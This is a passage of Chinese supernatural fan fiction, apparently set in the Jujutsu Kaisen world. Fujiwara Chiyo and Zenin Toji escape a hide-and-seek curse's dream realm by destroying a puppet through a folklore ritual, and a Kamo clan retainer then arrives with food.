脱离楼梯站稳后,藤原千代尝试松开了抓着禅院甚尔手腕的手。发现自己还是可以看到对方,没有再陷入那种忘我的状态,因此痛快地和禅院甚尔分开。
他循着记忆走向了自己的卧室,看到了那扇丢失了一半的珐琅窗。当时站在院子里时,他不能透过窗口不清屋内。而此刻他站在屋内,也不能通过窗口看向院里,依旧是一片黑漆漆的。
不知道是这个咒灵能力有限,还是这里根本就属于两个空间。
禅院甚尔跟着藤原千代的脚步也走到了这间屋内,好奇地打量了一下这间小屋子。
空荡荡的没什么家具,只简单地摆放了一张床和柜子,房间内唯一的电器还是悬挂在天花板上的灯。最值钱的估计就是那扇彩色的玻璃窗,结果还丢了一半。
但这也比他在禅院家的小屋条件要好。
“这是哪里,有什么线索吗?你停留了很久哎。”
他好奇地询问藤原千代,但对方没有说话,只是简单地摇了摇头。
室内一片安静,直到禅院甚尔的肚子咕咕作响。
又开始了,现在算来应该是第三天吃午饭的时候了。
一天三顿,如果没吃饭他的肚子就会开始咕咕叫,几年来雷打不动。
甚至在禅院甚尔处于一片漆黑中迷失对世界的感知的时候,都能依靠这个来判断世界。
藤原千代听到这道声音,脑中灵光一闪,拽着禅院甚尔来到了另一间房间前。
透过敞开的大门,禅院甚尔看到这里一样的构局,窗、柜子、电灯。
唯一不同的是这间房子没有窗户,所有的家具甚至都是铁打的。看着相比于卧室,更像是一个监禁室,关押着什么猛兽。
整间屋内依旧是空荡荡的没有人。但正因如此,藤原千代一眼就发现了床上那个根本不可能属于这里的玩偶。
一个玩偶熊。
那个出现在山下平家里的玩偶熊,但明明在咒灵现身的一瞬间,它就化为齑粉了。此刻却又完好无损的出现在了这里。
藤原千代走上前,想要拿起来仔细看,却发现自己根本进不去这个屋内。
禅院甚尔不知道玩偶熊的格格不入,只是看到藤原千代在他面前上演了一出太空滑步,站在一旁悠闲地欣赏了一会。
“小少爷没想到你还有这个天赋。”他看热闹不嫌事大地上前,伸手杵着这道空气墙说道。
没曾想,整个人直接跌入了屋内,然后消失不见。
藤原千代看到后伸手想拉他一把,但还是没来得及。
他惊疑不定地站在原地,向依旧空无一人的房间中看过去,禅院甚尔没有出现在里面。那个玩偶熊还是端坐在那里。
19. 一个人的捉迷藏
梦境和现实此刻在这里交织,看着面前空无一人的房间,藤原千代恍惚之下有种时空错乱的感觉。
这间房间和他在梦中回忆碎片的构局相同,又拥有一样的的铁质家具。
他还是第一次在现实中看到这个熟悉的房间。
这里仿佛随时会刷新出一只中岛敦,兴奋地喊着‘千代哥、千代哥’,冲上来找他。
又在下一秒化身一只年幼的白虎,扑上来打滚。在家具上磨磨爪子和牙齿,东挠一下、西抓一把,最后玩累了自己沉沉地睡去。
第二天又被他留下的闪亮亮爪痕和齿印吓得瑟瑟发抖。
而自己依旧是那个才七岁的小孩,每天除了吃饭睡觉以外就是逗逗小孩、摸摸老虎。
但现如今他绷紧的神经和指尖死死扣住的掌心所带来的疼痛告诉他,此刻他所面对的这个熟悉场景,是那个未知咒灵依据他的梦所构造的幻觉。
自己仍是那个需要伪装成加茂家赤血操术的藤原千代,刚刚结识的少年禅院甚尔,还突然失踪生死不明。
一个人不进食、喝水,最多可以撑一周,但几乎第四天就会大部分的丧失行动能力。
即便禅院甚尔的体质再过强悍,也不能幸免。而一旦在咒灵的地盘丧失了行动能力,下场可想而知。
如果想要把对方完好无损地带出去,那么留给他的时间不多了。
藤原千代磨了磨牙,抬脚踹了几下面前的空气墙,但除了造成脚尖的疼痛以外,什么事都没有发生,结节依旧存在,他还是被阻拦在这里。
藤原千代拍了拍自己的脸颊,强迫自己努力思考。
‘停下来思考,藤原千代,停下来!’
‘为什么禅院甚尔可以穿过去,为什么他不会受到咒灵的精神影响!''
‘刚刚在楼梯上陷入梦境后,是因为自己的身体感受到了外界的触碰,所以借此分清了现实和虚幻,从而苏醒了过来。所以那禅院甚尔呢?他依靠的是什么。’
藤原千代站在原地闭上眼睛,回忆起自己被禅院甚尔叫醒后发生的每一件事。两个人之间所有的对话和动作都在他脑中再一次回放,借此从中找到问题的答案。
“我是天与咒缚,浑身上下没有一点咒力。”
“刚来的时候,一片漆黑。”
少年的声音在藤原千代脑中响起,他突然睁开了双眼。
如果不是因为禅院甚尔已经在这里呆了三天,身体被幻境同化,咒灵无法识别的话。
对方不陷入梦境的原因,就只剩下两种可能。
禅院甚尔天与咒缚的肉、体天赋给予了他如同猛兽一般的直觉。
所以不需要外界的触碰他就可以轻而易举地区分现实与环境。
但这完全解释不通对方为什么刚刚忽视了空气墙的存在,直接被迫消失在他面前。
而另一种答案就是,
禅院甚尔作为特殊的天与咒缚,浑身上下没有一丝一毫的咒力,所以对于咒灵来说他根本就是一个透明人。
无法被幻境捕捉识别,更不受结界阻拦,可以来回穿越被咒灵间隔开的空间。
根据禅院甚尔所说,和他一同被传送过来的还有禅院家躯具留的人,在他落地的一瞬间,所有人都直接消失不见了。
那么依照这个咒灵的能力,这群人很有可能被它分隔在其他空间,在构建出的梦境中玩捉迷藏,直到死亡。
禅院甚尔如果跌入的是属于他们的梦境中,生命安全暂时可以得到保障,但此刻咒灵的空间中还有袭击他的山下平和那个被禅院家追击的陌生咒术师。
一旦禅院甚尔跌入对方的梦境,又不小心将他们唤醒,他就危险了。
藤原千代咬了咬牙,自己是因为系统改造才拥有的咒力,如果系统可以帮忙掩盖咒力的话,就能有机会在咒灵眼中消失,最快速度穿过这堵空气墙。
“系统,你能帮我将浑身的咒力隐藏吗?恢复我本身的异能者身份。”
得益于此刻藤原千代周围无人,系统很快就显现出来。无起伏的电子音很快他脑中响起。
【宿主使用身体为咒术师身体,系统无权限隐藏。如有需要,请宿主打开商城寻找相关道具】
不出所料,藤原千代听到了系统说自己无能为力,他继续追问别的办法。
“我也想打开啊,但我现在的积分是负数,你们能赊账让我打开系统商城吗?”
【系统无权限打开系统商城,请宿主积极救人获得救济积分,早日打开系统商城】
“救人救人,说的好听。真救了你能就给五点积分。”
藤原千代此刻开始思索起别的方法,他的眼神定定地落在那个被缝补的歪歪扭扭的玩偶上。
虽然身体无法穿过结界,但自己的能力并非是咒力体系,也许可以试一试。
藤原千代深吸了一口气微微侧头,双眼紧闭。
垂在身侧的双手五指微张,感受着身边环绕的无数跃动的微亮光点。缓慢牵引着它们在自己周身编织出一张细密的光网,将整个空间纳入他的感知。
光网一处处的扫描过去,此刻整个房间都在藤原千代的掌控之中。
果然,屋内和屋外是两处空间,所以他独自处于楼梯上时会处于一种失控的状态。
藤原千代继续将自己的能力外放,沿着咒灵设下的结界向前蔓延,一个接一个空间的仔细寻找失踪的禅院甚尔。
终于,他遇到了一个无法被捕捉的人形黑洞,在周围一片幽幽发光的人中显得格外瞩目。
等等,怎么这么多人!
.
这边被传送走的禅院甚尔感到了一阵失重感传来,一个呼吸之间就扭转了身形,做好了受到重力冲击的准备。
但在姿势刚刚摆正的瞬间,用于缓冲的前脚掌就落在了实际,预料之中的冲击力并没有传来,他就察觉到自己此刻就站在实地上。
禅院甚尔反而因自己提前摆出的卸力姿势而重心不稳了个跟头。
让他直直地滚到两个争执不下的人面前。
其中一个人面容他熟悉至极,正是那个害得他来到这里来的诅咒师,小野凛。
新仇旧恨一起涌上心头,禅院甚尔狞笑出声,从怀中拔出一把刀,准备先捅对方一下。
放放血。
两个同样饿了三天,但体质远远不如禅院甚尔,此刻仅仅提着一口气的人表情惊恐。
“禅院君,禅院君!手下留人啊手下留人!”
“您是跟着我误入到这个咒灵的领域的吧,这里只有我们知道如何出去,不如大家先握手言和,一同达到条件先出去呢
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?”
小野凛声音谄媚,整个人就差跪地求饶。
“对啊,甚尔君,您没有必要为了禅院家的任务来牺牲自己。”
禅院甚尔看到另一个没有见过的男人也一脸讨好地劝说,又想到藤原千代那个小鬼希望刚刚管他要情报。
于是他将拔出的刀刃又收回藏在衣襟的刀鞘里,语气冷硬地说道,
“说说看这个咒灵的情况。”
小野凛看到禅院甚尔收起了刀,整个人喜极而泣。
天知道他的传送能力在这里根本不起作用,山下平的精神控制又是造成无差别攻击。
真要控制住这小子,他们两个人只会死的更快。
“是,是甚尔君,我这就为您介绍。”
“这个咒灵的名字叫‘一个人的捉迷藏’,原本是衍生于都市传说的二级幻想咒灵。”
“三年前我无意识发现了这个咒灵。发现通过特别的仪式可以召唤出来这个咒灵,然后对方被带到这个类似领域的地方。”
“在这里除了完成后续仪式被放出去以外,不会再有人能找到你,包括御三家的秘法。因此我将这个二级咒灵作为逃生手段。”
“之前明明都都很顺利,但这次!这个咒灵竟然变成了特级!”
说到此,小野凛整个人有些癫狂,不断地啃咬起自己的指甲。
“都是山下平的错,就这次是他召唤的,所以一定是因为他!”
一旁的山下平听到对方又开始这样,整个人也十分厌烦,将头发揉的一团糟,语气微冲的说道,
“都说了,我怎么知道剪点指甲盖就行了,我把整个指甲都撕下来!连带着血液一同塞了进去,我怎么知道这些能召唤出一个特级!”
说着说着,山下平和小野凛两个人又要开始争吵,禅院甚尔撇了撇嘴,语气平静地打断了他们两个,
“喂喂喂,说什么呢!后续仪式是什么!”
在强烈生命危险面前,两个人停止了争吵,整个人的态度平和,再次变得贤良淑德了起来。
“找到最开始的那个玩偶,然后含上一口盐水,吐在玩偶身上,说三遍‘我赢了’后,直接烧毁就好。”
禅院甚尔听到如此简单的步骤,隐隐感觉有些不对。
藤原千代那个小鬼虽然可以看到玩偶,但完全无法穿过结界,只能被困在原地。
“但是咒术师无法穿过结界吧,你还有什么在瞒着我!”
禅院甚尔眉头一皱,再次从怀中掏出了那把短刀,指向小野凛。
男人神情惊恐,扑通一声跪下,颤抖着声音说道,
“甚尔君!我真没想瞒着您。只是您是天与咒缚,和异能力者一样。咒灵这处空间内的结界无法捕捉完全没有咒力的人,因此这个限制条件对您无用,我这才没有和您说的啊!”
“我和山下平从来都是由他寻找玩偶后带回来,继续由我完成后续仪式,分工明确。只是这次是特级咒灵,我们根本打不过,这才僵持到了现在啊!”
正当禅院甚尔询问对方盐水在哪里时,整个人感受到了一股强烈的窥探感。
虽然没有恶意,但犹如被放置到聚光灯下的感受还是让禅院甚尔有些难堪。
他整个人肌肉紧绷,将短刀反手持在身前,怒斥道,“谁!”
20. 一个人的捉迷藏
透着亮光的玻璃下,铺展了一层米白色的榻榻米,边缘处微微有些磨损,透露出岁月的痕迹。
微微有些斑驳的红棕色矮桌上散落着一些纸张,或多或少的写着一些字符。
小小的一处房间,四周摆放着一圈木质家具,又因兼顾厨房的功能,显得狭小又局促。
这样本就逼仄的环境,此刻又整整围站着三个男人。
拥挤到让人有些喘不上来气。
三人中面容最年轻,但身量最高的那个男人浑身紧绷,反手持刀。
另一侧与他对峙着的两个男人姿势不同,一跪一站。
但都神色惊恐,想要讨饶。
一场战斗似乎即将在三人之间爆发。
但仔细看过去,却会发现反手持刀那个男人视线并未落在他面前的两人身上,反而有些飘忽,像是正在寻找着什么东西的存在。
身处另一处空间的藤原千代看不到这些细节。
只能感知到三人隐隐对立的站位,和禅院甚尔突然拔刀的动作,十分担心禅院甚尔的安全。
因此他更加密切关注禅院甚尔的动向。
但由于距离太远,他也只能着急的在旁边围着团团转。纠结着如果一会打起来,自己出手帮助禅院甚尔后,还要如何继续伪装赤血操术的身份。
“这个高度。”
禅院甚尔清楚地感受到那一抹陌生的视线一直在围着自己的腰腹打转。
如果不是对方癖好的特殊,那很可能是对方视野只有这么高。
禅院甚尔很快就联想到了很可能是藤原千代那个小鬼搞出的东西。
‘这小鬼的术式不是赤血操术?’
禅院甚尔回忆起最初在咒灵室时看到对方使出来的那个招式。
三级咒灵贴脸冲刺到对方面前时,那个小鬼突然从体内爆发出几道尖锐的血刺瞬间扎透了那个咒灵,将其祓除。
后来带着对方躲避咒灵围攻的时候,他担心这小鬼因为身上有开放性伤口而造成失血过多而死,还仔细检查过。
结果对方除了衣服上漏了几个大洞以外,浑身上下连个血皮都没破。
整个人干干净净的好像刚刚使出那惊人一击的不是他一样。
因此他才判断对方的术式是赤血操术。但他毕竟是禅院家的人,判断失误加茂家的祖传术式也是很正常的事。
‘但加茂家后期不是也确定了这小鬼就是自家的祖传术式吗?这也会搞错的吗!’
但禅院甚尔转念一想,御三家这群烂人,抓着术式出色的好苗子不放,说些此子和我家祖传术式有缘这些屁话,也没什么不可能。
想明白这一切后,禅院甚尔将手中所持的短刀又安安稳稳地藏回了怀中,浑身肌肉微微有些松懈。
不过,作为长期生活在阴沟里的老鼠,突然被这种干净的目光注视,让禅院甚尔有些不知道如何摆放自己的手脚。
在他把刀收起来以后,整个屋内的气氛稍微有了些缓和。
刚刚被禅院甚尔拔刀怒斥吓了一大跳的两人心情微微有些放松。
一时间竟也没有人敢率先开口询问对方究竟发生了什么事,怎么突然拔刀。
“盐水,拿来。”
禅院甚尔声音有些滞涩,直接向二人伸手讨要离开这个领域的必需品。
并努力忽视那道在自己有所动作后更加频繁绕着他打转的视线。
‘像个小狗。’
小野凛则是巴不得这尊杀神赶紧拿了盐水去讨伐咒灵,这样无论双方谁赢谁输,他现下都会是安全的。
但这间房子毕竟属于山下平的,他并不熟悉里面的构造,因此他也只能跪立着怼了一把旁边浑身僵立的男人,让对方赶紧去按照禅院甚尔要求的准备。
反应过来的山下平连忙从储物柜中拿出了食盐和瓶装水,组合好后恭恭敬敬地递给了禅院甚尔。
然后他深深鞠了一躬,侧身静候对方的离开。
禅院甚尔顺着二人的指示,从他过来的那个方向回到了藤原千代所在的那处空间。
他刚一走回来,就看到这个小鬼闭着眼睛像丢了魂似的站在原地。
而等到藤原千代睁开双眼的一瞬间,刚刚一直缠绕着禅院甚尔的那道目光也随之消失不见。
‘果然是这个小鬼。’
禅院甚尔心中微明,但面上未表。只是开口将自己从那对异能力者和咒术师组合口中听到的,关于这个咒灵的情报都说了出来。
意料之外的,他看到了面前小鬼面上升起了一副帮了大忙的表情。
‘听不到我们的对话,所以这小鬼的那个能力只是能看到,或者说感知到。’
这样的念头在禅院甚尔的脑中一闪而过,没再深究。
他直接将手中握着的刚拿到的盐水递给了藤原千代。
“据他们所说,盐水是后续仪式的必需品,我已经从他们两人手中拿到了。”
“现如今我们只要想尽办法找到正确的玩偶,完成后续仪式就好了。”
禅院甚尔声音平静,“咒灵只能用咒力祓除,我手上的咒具能力不强,大概率打不过这个特级咒灵。”
“所以我现在出发,在这个咒灵的空间内去寻找这个玩偶,然后带回来。到时候我们两个人再一同考虑祓除的办法如何?”
藤原千代点了点头,没有提出反对意见,只是将悬挂在自己腰侧的血袋递给了禅院甚尔。
“这里面装的都是我的血,危机时刻我操纵它来帮你。”
是的,在藤原千代感受禅院甚尔回来后,思索了很久。
最终决定将自己随身携带的血包交给对方,这样如果对方和咒灵打起来,自己也可以操纵血液来帮助对方。
还不会暴露自己不是赤血操术的事实。
真棒!
禅院甚尔挑了挑眉,没有辜负藤原千代的好意,拿走了对方准备的血包。
藤原千代又指了指门内的玩偶小熊,示意禅院甚尔抬头去看。他说道,
“这只小熊在进来的时候,身上有我不小心洒上去的血液,我感知到对方的大致方位。”
“甚尔君随身携带这个血包后,我也可以通过这个血包的位置,来定位甚尔君所处方位。”
“这样我就可以帮你简单确定距离咒灵的真身的远近。”
说着禅院甚尔眼前就漂浮出了两滴血液。
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“因为无法交流,所以我们提前定一个信号。”
“如果甚尔君走的方向错误,越来越远,你的面前就会漂浮两滴血珠。相反,如果方向正确,越来越近的话,就漂浮一滴血珠。”
“如何呢?”
藤原千代仰头看着面前比自己高了许多的少年,缓缓讲述了刚刚想出的方法。
‘好高啊,等他回来我一定要问问他究竟多大了,明明听声音还处于变声期,怎么长得这么高!’
“没问题,我明白了。”
禅院甚尔没有挑破刚刚自己已经发现对方无需自身血液,可以直接定位自己的事实,回答的十分简洁。
于是,二人的第一次尝试就开始了。
在面前血珠数量不断交错之下,禅院甚尔走过了一个接着一个的梦境场景。
有简单的和室房屋,有堆满手工城堡的沙地乐园,还有绿荫葱葱的森林公园。
大多数场景都童趣十足。
里面的所有人都是一副陷入美梦的模样。经过禅院甚尔的粗略感知,其中一部分人应该是已经死了。
‘这个咒灵存在的时间绝对不短,里面的大部分人都不是躯具留队的成员。’
越往前走,禅院甚尔心中不妙的感觉就越重。
直到他走到了一个陌生的公园。
塑料滑梯,荡秋千,跷跷板,就像是禅院甚尔年幼时听母亲曾经说过的场景。
但在公园一侧,他看到了那把经历了风吹日晒,有些自然老化的长椅。
上面赫然躺着的是刚刚告诉他如何完成后续仪式的小野凛。
禅院甚尔第一次怀疑自己出色的肉,体感知。
他有些不可置信的走上前,伸出手去感受了一下面前人的颈侧。
触感冰凉而僵硬,皮肤已经完全丧失了回弹。
最重要的,颈动脉一片死寂,停止了跳动。
小野凛竟然早就死了,那刚刚和他交谈的人是谁?
那个山下平又是什么东西!仪式的后半截方法究竟是对还是错的!
藤原千代那个小少爷,真的是藤原千代吗?
我是醒着呢吗?
一时间,莫名的恐慌笼罩了这个年岁还不大的少年。
突然,一阵冰凉的寒意从脊背袭来。
电光火石间,禅院甚尔和藤原千代同时出手。
禅院甚尔将身侧携带的血袋扔出,挥刀劈下。
一道暗红色长鞭撕裂外袋,从里面挣脱而出,如闪电般袭向禅院甚尔周身。
伴随着一阵牙酸的碰撞声响起,禅院甚尔手中短刀铛啷啷地断了半截,掉落在他脚下,激起一阵灰尘。
血红长鞭在藤原千代的操纵下缠绕在禅院甚尔身侧,呈现出一种保护的姿态,将对方牢牢护在中间。
禅院甚尔低下头,眼神微暗的看了看自己的短刀。
而在另一侧,刚刚突然袭击的东西露出了自己的样貌。
一个人偶,木质的身体,连接处用的还是是球形关节,但却拥有着一张人类模样的脸皮。
那张脸禅院甚尔熟悉至极。
是他刚刚才见过的,属于小野凛的脸。
21. 一个人的捉迷藏
藤原千代站在熟悉的房间内,操纵自己留给禅院甚尔的血液来帮助他指点行进方位。
为了节省计算量,他也只是简单地将意识向前蔓延到了那个玩偶小熊所处的房间。
大致明白了禅院甚尔需要前进的方向,并没有在脑中构建出所有区域的地图。
由于第一次使用这种能力,藤原千代并不了解自己意识穿越的时长转化为禅院甚尔的脚力大约需要多长时间,因此两个人也只能一点点摸索。
但根据对方现如今所走距离和穿过结界的次数来判断,捉迷藏咒灵所形成的这处空间比他们想象的要大很多。
按照这个速度,二人还需要摸索小半天的时间才能到达。
但没过多久,藤原千代就发现禅院甚尔前进的速度变得越来越慢,动作越来越犹豫,他内心隐隐有些不安。
看来全都依靠禅院甚尔人肉探索,不确定性太高了。
一旦出了问题,对方将要承担的风险极大。
藤原千代默默在沙地上画下禅院甚尔曾经走过的房间方位,又继续将意识继续沿着咒灵设置下的结界扩散,想要直接探明这处空间的分布。
终于在他将所有房间标出,成功绘制出到咒灵那间房间的最短路线时,禅院甚尔的脚步也突然停止。
藤原千代看到对方停留在原地不动,然后径直走向了此处空间内的存在的另一个人面前。
不,不太对。
在藤原千代的细细感知之下,发现对方的血液流动已经完全停止。
这根本就是一具尸体!
他有些惊疑不定,将自己刚刚探查过的那些房间中的人都重新核查了一番。
却越发现靠近玩偶房间,尸体的出现的概率就越高。
一直到最贴近的一圈,这些屋内的人甚至全都死了!
内心剧烈波动之下,藤原千代突然发现已经有好几间房屋内传来了连续的诡异波动,就像是有什么未曾标记的存在正在快速移动。
空气中荧蓝色的能量光点被扰动,向四周漂浮,又被粘黏在飞速穿越的存在身上,显露出形状。
藤原千代的意识也随之被打散又重组,就像是信号接触不良的接收器。
他努力集中精力去分辨究竟是什么东西,却发现飞速移动的那个存在怎么观察都像是人形,但是内里组成却完全不同,干巴巴的一点水分都没有。
难道是人形玩偶?藤原千代想到了这个咒灵的名字,心中一紧。
他低头看向自己刚刚画出的简易地图,顺着这几间的房间往前延长,发现了这个陌生存在的目标方向,禅院甚尔。
按照这个速度,对方很快就会和这个东西撞上。
藤原千代反应迅速,迅速操纵血包中的血液变形,提醒对方危险。
果然禅院甚尔很快就明白了自己的意思。
二人合力挡住了第一次的袭击。
但下一刻禅院甚尔却停下了动作,僵在了原地,没有继续进行攻击。
藤原千代并没有感觉到对方受伤流血,虽然有些不能理解,但还是老老实实地操控血液围绕在禅院甚尔身侧。
.
另一边的木偶人见一击未成,迅速拉低了重心,身躯贴地四肢爬行,快速躲闪去了另一个方向。
在到达安全距离后,它停在了那里。
木偶人歪了歪头,一双空洞的眼睛死死盯着面前的禅院甚尔,不停地寻找下一次攻击的机会。
刚刚停在原地的禅院甚尔突然抬起头,看了看对面的木偶人后,提了一把断刀面无表情地冲了上来。
招式大开大合间全是破绽,却速度极快,让木偶人一时间难以招架。
几乎是禅院甚尔刚有所动作的同时,就已闪现到木偶人身前。
手持断刀挥砍而下,却并未击中任何单位,他做了一个假动作吸引了木偶人全部的注意后,旋身一拧抬腿猛踹,将其击飞的同时,露出了身后藏着的藤原千代的血鞭。
‘开玩笑,完好无损的短刀没它硬,断的就行了吗?傻子才和他拼刺刀,聪明人都是智取。’
一直死死盯着这边情况的藤原千代当然没有错过禅院甚尔创造的这个机会,操纵着血色长鞭甩了木偶人一鞭后,又化身荆棘缠绕在了对方身上瞬间收紧,意图将对方生生勒断。
却因为不了解对方的材质,错估了硬度,不小心将自己打散,仅仅在对方身上留下了几个浅浅的孔洞。
一击过后,禅院甚尔闪身退至一边,躲开了木偶人撞墙后借力的反扑。
他颇为无语的看着刚刚被打散的血液重新凝结成型,缠绕在自己身周。
禅院甚尔舔了舔唇,并不在意藤原千代听不到自己的话语,语气平静地说道,
“再来”
紧接着再次冲向木偶人,冲刺的同时提起右肘,闪身穿过了人偶身后的结界。
‘这玩意如果不让那个小鬼看到一起打配合,把他浑身骨头打碎了都打不过,溜了溜了。’
另一边的藤原千代通过禅院甚尔的肌肉走势分析出对方的意图后,立刻分裂出一部分血液化为绳索缠绕住人偶,阻拦对方的追击。
刚刚藤原千代找路时作出的地图在此刻发挥了作用,他不再简单的用血滴数量来在禅院甚尔作出选择后告知他正错。
而是直接在对方面前形成一个指明方向的箭头,给他指出最近的捷径。
出乎藤原千代意料的是,简单地走过一遍后,禅院甚尔竟然已经记住了所有的路线,能够按照二人尝试过程中的最简路线狂奔回来。
而面对藤原千代自行查找出的简洁路线做出不同的选择时,对方也没有丝毫犹豫选择了相信,从走错的房间中退回重走。
就这样两相配合之下,禅院甚尔很快就先一步冲回了藤原千代所在的菜地。
但人偶也早就挣脱出了束缚,一路紧随禅院甚尔回来,二人几乎是同时冲向了藤原千代。
藤原千代睁开双眼,想要躲闪但一直站立的身体却有些僵硬,跟不上自己的思维。
他当即决定张开双手扑向禅院甚尔。
禅院甚尔伸手一捞,勒着藤原千代的腰腹就是一个翻滚,躲过了身后人偶的突刺。
藤原千代也因此和人偶面对面,看清了对方样子。
虽然拥有着一张人脸,却没有眼珠,就那么用黑洞洞的两个孔和他对视。
透过孔洞望进去,里面
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空无一物,甚至连木头填充也没有,就只有那么孤零零的一个脑壳。
人类的皮肤配上木质身躯和球形关节本就看得san值狂掉,但对方的走路姿势却更是恐怖。
就像是刚刚驯服四肢和身躯,行走之间让人根本猜不到下一次迈出的是哪一条腿亦或是胳膊。
但偏偏它的速度又极快,四肢变换快出残影,只是躯干却跟不上动作四处乱甩,连带着脑子也在乱转。
藤原千代被禅院甚尔勒着,不得不直视早期人偶驯服身体的全部影像,他拍了拍禅院甚尔的后背想要对方换个姿势带他。
却遭到了颇为冷酷的拒绝。
“别乱动小鬼,一会掉下去你就完了。”
“恐怖谷效应直接拉满了啊。”
藤原千代认命地直视禅院甚尔身后的人偶,又不敢低头,生怕一个不注意对方突然加速把他们俩人都咬死。
在人偶的脸随着头乱转到了背面后,藤原千代得以不再和对方的眼睛对视。
他缓了缓心情目不转睛的盯着人偶的下一步动作,操控自身血液顺着对方乱爬的四肢蔓延。
血液在他的操控下像一条条红色的小蛇,顺着人偶的关节处爬了进去。
藤原千代狠狠一拧,下一瞬刚刚还在满地乱爬到处乱咬的人偶就四分五裂,变成了满地乱爬的关节和一张不断乱咬的人皮面具。
藤原千代没有办法,又编织出了一张血网,将所有东西都分开兜了起来。
“这些东西怎么办?”
虽然禅院甚尔的嘴上说着疑问句,但手中已然举起了从山下平二人手中拿到的盐水,一口气含了半瓶,挨个喷在了对方的碎块上。
“等!”
藤原千代没料到对方这么莽,阻止不及。
“怎么了?”禅院甚尔有些疑问,盯着面前兜住块状人偶的血网,语气坦然。
“反正现在别的一点办法的都没有,试一下不行的话大不了就死在这呗。”
“没事。”
藤原千代扶额苦笑,他该怎么告诉禅院甚尔,一般来说赤血操术的血液受到液体稀释后会没办法控制呢?
难道他还能现在松手让人偶咬对方一口后,满口道歉地再次重新兜住吗!
“我赢了”
“我赢了”
“我赢了”
禅院甚尔开口说道,紧接着从怀中掏出了打火机将人偶点燃,没想到火焰外端刚刚接触到人偶表面,就腾的一声升起了冲天火焰。
猝不及防被热气扑了一脸的禅院甚尔立刻后退。
“嚯,差点烧到我的眉毛和头发!”
看到人偶消失不见后,禅院甚尔不禁感慨,“没想到这个方法真的是对的。”
藤原千代有些迷茫的看向禅院甚尔,不知道对方在寻找人偶的途中发现了什么,怎么会做出如此感慨。
但还未等他问出口,就发现自己幻境的结界再次被人动了。
二人神情紧绷望向开口处。
藤原千代立刻认出了来人,是加茂健太。
禅院甚尔虽然并不认识,但出色的五感已经先一步闻到了来人手中的提着的东西。
有饭吃了。
22. 一个人的捉迷藏
提问,饿了三天以后再度进食应该怎么吃?
如果让专业的医生来说,他会告诉你先从流食开始,再逐渐过渡到固体,少食多餐,同时严禁油腻生冷刺激性食物,多补充电解质水。
当然,最好是直接滚去输液,吃什么吃,吃吃吃!
而让禅院甚尔来说就是:全当放屁,俺乐意咋吃咋吃。
于是他直接从这个陌生人提着的包中扒拉出来一瓶矿泉水,一口气猛喝半瓶。
又丝毫不见外地翻出食物开始大快朵颐。
他左手刚从袋中抓了一把肉干塞进嘴里狂嚼,右手就又伸向了藤原千代面前摆放的那把子香蕉,轻轻松松地掰了两个下来。
咕叽一声响起,禅院甚尔抻了抻脖子,将嘴里嚼的差不多的肉干咽下,又三两口吃完了手中的两根香蕉。
紧接着他又一口气吞下余下的半瓶水,方觉胃里的灼烧感有了些缓解。
他拍了拍肚子感觉了一番,胃里食物的存在感不强,不会影响之后可能会存在的战斗。
而在禅院甚尔狂吃的整个过程中,藤原千代一直默默坐在原地注视着他。
那个肉干他刚才也试着啃过,可以说比他死了三天的尸体都硬。
自己那饿了小半天的身体可经不起这么造,不然真是直接分分钟躺下来给大家上演死亡摇滚。
没办法,藤原千代只能继续啃着自己手里余下的半根香蕉。
他看着面前少侠充分展示自己的铁胃铜牙,恨不得给禅院甚尔再上二两烧刀子,让他畅饮一番后直呼爽哉爽哉。
但可惜的是,禅院甚尔喝完水后,只揣一把肉干到自己口袋里,抹了一把嘴后就停止了进食。
藤原千代观看的生硬吃播到此结束,他也只能更加悲伤地化身为猴,疯狂啃食自己的香蕉。
一旁站着的加茂健太从进入到咒灵的领域看到周围的景象后就有些茫然。
这里甚至还有菜地,虽然光秃秃的,没什么作物。
但这和他预想的救场方式完全不一样啊!
他不应该先拯救少主大人于水火艰难祓除咒灵,然后获得对方的信任,同时表现出因家主的命令不得不杀死山下平的为难。
最后完成家主布置给自己救下禅院甚尔的任务,成功在家主色少主之间左右逢源吗?
现在谁能告诉他,少主怎么和这个零咒力凑到一起去了!
虽然他们两个人待在一起的话,他的任务可以直接完成了。但后续要怎么和家主汇报啊,最后的任务报告又该怎么写啊!
加茂健太张了张嘴,不知道该做出什么反应,他看向禅院甚尔,想让对方讲述一下在咒灵的领域内发生的事情。
下一秒却被他仿佛饿死鬼托生,丝毫不遮掩的粗鲁吃相噎了回去,不愿再与他多做交流。
加茂健太又转头看向一旁啃香蕉的藤原千代,像是突然想起了什么,从包里拿出了一个保温壶递了过去。
“少主,这是我让小岛葵给您熬的米粥,您稍喝一点垫垫肠胃。”
‘不像是来救人,倒像是来野餐了。’
藤原千代此刻脑中划过了一个不合时宜的想法。
但他并没有推脱,从加茂健太手中接过了碗勺,一点点喝了起来。
加茂健太清了清嗓子想要趁机汇报些关于加茂家调查出来的咒灵情报,却被禅院甚尔开口打断。
“大叔,你谁啊?加茂家的人吗?”
加茂健太一愣,刚想开口说出的话被打断,表情有些呆滞。
’所以禅院家这个该死的零咒力连他是谁都不知道,就这么直接狂炫他带来的东西吗?’
紧接着加茂健太面容扭曲,被气得不清,张嘴就想讽刺对方。
一旁的藤原千代却突然开口说道,“甚尔,刚刚祓除咒灵的时候,你说‘这个方法原来是对的’是什么意思,你发现了什么?”
“我在幻境内发现了一个和小野凛长得一模一样的人的尸体。起初我怀疑告诉我们解决咒灵方法的那个小野凛有问题。”
“但按照刚刚看来,那个方法确实成功解决了那个人偶,所以更像是这个咒灵的领域有问题。只是人偶和尸体是真实存在的,都能够被我看到,它们不是是咒灵……”
还没等禅院甚尔说完,藤原千代就忍不住打断问道,
“领域是什么?”
禅院甚尔显然有些被问住了,一时间不知道该如何说明,支支吾吾地有些答不上来。
刚刚被二人一问一答堵了回去的加茂健太迅速捕捉到了禅院甚尔的心虚,脸上浮起了得胜的表情,开口解释道,
“领域是指用咒力构建出的一处结界范围,具有必中的术式效果,是特级咒灵和特级咒术师才能使出的最强手段。”
但是刚刚那个人偶的攻击被他们躲过去了,没有达到必中的效果啊,藤原千代有些困惑。
一旁的禅院甚尔瞬间读懂了他脸上的表情,补充道,
“这处空间更像是一个未完成领域,我们必须要趁现在从这里出去。否则一旦领悟彻底形成,除非你们二人爆种展开自己的领域进行对抗,不然我们都会死在这里。”
说罢,禅院甚尔看了看周围的环境,说道,“这里环境还算是一个风水宝地了,能比被其他咒灵杀死体面多了。”
一旁的加茂健太忍不住反驳道,“听说过简易领域吗,小子。”
“而且谁说少主不能使出领域对抗,我们加茂家的祖传术式可是天才,轮得到你小子在这里唱衰。”
